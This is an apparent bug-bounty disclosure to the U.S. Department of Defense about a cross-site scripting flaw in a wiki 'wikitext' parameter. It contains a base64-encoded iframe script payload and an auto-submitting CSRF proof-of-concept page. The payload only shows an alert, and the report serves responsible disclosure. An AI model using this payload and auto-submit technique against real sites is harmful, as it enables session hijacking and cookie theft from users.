U.S. Dept Of Defense · Report #3137212
Cross-Site Scripting via 'wikitext' parameter
How it was found
Description: I discovered a Cross-Site Scripting (XSS) vulnerability on ███████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.
Vulnerable parameter: wikitext Payload: <iframe+src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnT2zDoSBtdW5kbyEnKTwvc2NyaXB0Pg=="></iframe>
References
███████
Impact
Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.
System Host(s)
█████████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
You have to open this code on a page/site that is yours:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="███████" method="POST">
<input type="hidden" name="doImports" value="false" />
<input type="hidden" name="entryid" value="d00cc920-e292-4475-8e23-c6cbf69f5725" />
<input type="hidden" name="wikitext" value="{{information details=true}} {{tabletree  message=""}}<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnT2zDoSBtdW5kbyEnKTwvc2NyaXB0Pg=="></iframe>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
And will appear the alert().
Suggested Mitigation/Remediation Actions
Apply context-dependent encoding and/or validation to user input rendered on a page.